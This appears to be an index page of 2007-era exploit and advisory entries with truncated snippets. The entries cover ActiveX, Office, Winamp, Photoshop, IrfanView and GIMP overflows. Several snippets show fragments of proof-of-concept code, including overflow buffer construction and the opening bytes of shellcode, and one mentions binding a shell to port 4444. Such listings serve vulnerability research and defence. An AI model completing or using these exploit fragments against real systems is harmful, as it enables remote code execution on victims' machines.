Hewlett Packard 1.0.0.309 - hpqvwocx.dll ActiveX Magview Overflow (PoC)

Hewlett Packard 1.0.0.309 - hpqvwocx.dll ActiveX Magview Overflow PoC Proof of Concept - Hewlett Packard Stack Overflow in hpqvwocx.dll v1.0.0.309 Proof of Concept - Hewlett Packard Stack Overflow in hpqvwocx.dll v1.0.0.309 Tested in Windows XP Service Pack 2 Discovered by Goodfellas Security...

Microsoft Excel BIFF记录远程栈溢出漏洞（MS07-023）

Microsoft Excel是Office套件中的电子表格工具。 Excel在解析BIFF文件格式时存在栈溢出漏洞，在处理畸形的Named Graph记录时可能未经检查便将用户提供的数据拷贝到了栈中，触发这个溢出，导致在用户系统上执行任意指令。 Microsoft Excel Viewer 2003 Microsoft Excel 2003 SP2 Microsoft Excel 2002 SP3 Microsoft Excel 2000 SP3 临时解决方法： 不要打开不可信任来源的Excel文档。 厂商补丁： Microsoft ---------...

gdivx-dos.txt

' IE 6 / GDivX Zenith Player AviFixer Class fix.dll v. 1.0.0.1 buffer overflow POC by rgod ' tested on xp sp2 EIP= "BBBB" BOF=String264, "A" + EIP + String9999, unescape"%90" target.SetInputFile BOF...

Barcodewiz ActiveX Control 2.0 - Barcodewiz.dll Remote Buffer Overflow (PoC)

Barcodewiz ActiveX Control 2.0 - Barcodewiz.dll Remote Buffer Overflow PoC 2007/05/09 -------------------------------------------------------------------------------- BarCodeWiz ActiveX Control 2.0 BarcodeWiz.dll Remote Buffer Overflow Exploit url: http://www.barcodewiz.com/ price: from $139 to...

CVE-2007-0947

Use-after-free vulnerability in Microsoft Internet Explorer 7 on Windows XP SP2, Windows Server 2003 SP1 or SP2, or Windows Vista allows remote attackers to execute arbitrary code via crafted HTML objects, resulting in accessing deallocated memory of CMarkup objects, aka the second of two "HTML...

Design/Logic Flaw

Unspecified vulnerability in the Cryptographic API Component Object Model Certificates ActiveX control CAPICOM.dll in Microsoft CAPICOM and BizTalk Server 2004 SP1 and SP2 allows remote attackers to execute arbitrary code via unspecified vectors, aka the "CAPICOM.Certificates Vulnerability."...

CVE-2007-1203

CVE-2007-1203 is a remote code execution vulnerability in Microsoft Excel where specially crafted set font values in Excel files can cause memory corruption. Affected products include Excel 2000 (SP3), 2002 (SP3), 2003 (SP2), 2003 Viewer, and 2004 for Mac, plus Excel 2007. The root cause involves...

Versalsoft HTTP File Upload ActiveX 6.36 (AddFile) Remote DoS Exploit

No description provided by source. span style="font: 14pt Courier New;"p align="center"b2007/05/07/b/p/span pre codespan style="font: 10pt Courier New;"span class="general1-symbol"------------------------------------------------------------------------------------- bVersalsoft HTTP File Uploader...

Adobe Photoshop CS2 / CS3 Unspecified . BMP File Buffer Overflow-vulnerability warning-the black bar safety net

Ghost boy note: with the last, like, CS3 under the test is successful, but the CS2 is not the test, I had previously been with the CS green version, too lazy to go to the next CS2 test. Source: Security vulnerabilities /\ Adobe Photoshop CS2 / CS3 Unspecified . BMP File Buffer Overflow There is a...

Winamp <= 5.34 .MP4 File Code Execution Exploit

No description provided by source. /\ Winamp = 5.34 .MP4 File Code Execution ...

ActSoft DVD-Tools - 'dvdtools.ocx 3.8.5.0' Remote Stack Overflow

'---------------------------------------------------------------------------------- ' ActSoft DVD-Tools dvdtools.ocx v. 3.8.5.0 Stack Overflow Exploit MoAxB bonus ' url: http://www.activex-soft.com ' ' original advisory: http://www.shinnai.altervista.org/viewtopic.php?id=41&tid=30 '...

ActSoft DVD-Tools (dvdtools.ocx 3.8.5.0) Stack Overflow Exploit

Exploit for unknown platform in category remote exploits =============================================================== ActSoft DVD-Tools dvdtools.ocx 3.8.5.0 Stack Overflow Exploit ===============================================================...

abcview-overflow.txt

/ ABC-View Manager 1.42 .PSP File Buffer Overflow ABC-View Manager is vulnerable to an unspecified buffer overflow when processing a crafted .TTF file. This exploit runs calc.exe or binds shell to port 4444. Tested against Win XP SP2 FR. Have Fun! Coded and discovered by Marsu Note: Open that in...

photoshop-voverflow.txt

/\ Photoshop CS2/CS3, Paint Shop Pro 11.20 .PNG File Buffer Overflow Like bitmap files, PNG files can do great things =D. In french: "buffer overflow a gogo!" The generated .PNG file will work for: -Photoshop CS2 -Photoshop CS3 -Photoshop Elements 5.0 -Corel Paint Shop Pro 11.20 This sploit runs...

winamp-exec.txt

/\ Winamp / include "stdio.h" include "stdlib.h" / win32exec - EXITFUNC=thread CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com / unsigned char CalcShellcode = "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"...

irfanview-overflow.txt

/ IrfanView / include "stdio.h" include "stdlib.h" / win32exec - EXITFUNC=process CMD=calc.exe Size=138 Encoder=PexFnstenvSub http://metasploit.com / unsigned char CalcShellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"...

gimp-overflow.txt

/\ Gimp v2.2.14 .RAS File SUNRAS Plugin Buffer Overflow Gimp uses SUNRAS plugin to process .RAS file. But this module is vulnerable to a buffer overflow in setcolortable which leads to code execution. Vulnerable code, sunras.c:862 int ncols, j; guchar ColorMap2563; ncols = sunhdr-lrasmaplength / ...

Word Viewer OCX 3.2 Remote Denial of Service Exploit

Exploit for unknown platform in category dos / poc ==================================================== Word Viewer OCX 3.2 Remote Denial of Service Exploit ==================================================== 2007/05/03 ----------------------------------------------------------------------------...

Winamp <= 5.34 .MP4 File Code Execution Exploit

Exploit for unknown platform in category local exploits =============================================== Winamp = 5.34 .MP4 File Code Execution Exploit =============================================== /\ Winamp = 5.34 .MP4 File Code Execution Winamp MP4's plugin fails to handle exceptional...

Winamp 5.34 - .mp4 Code Execution

Winamp 5.34 - .mp4 Code Execution /\ Winamp = 5.34 .MP4 File Code Execution Winamp MP4's plugin fails to handle exceptional conditions, which can lead to code execution. However exploitation is hard, firstly because of the return address. This code exploits a call eax, and it might be complicated...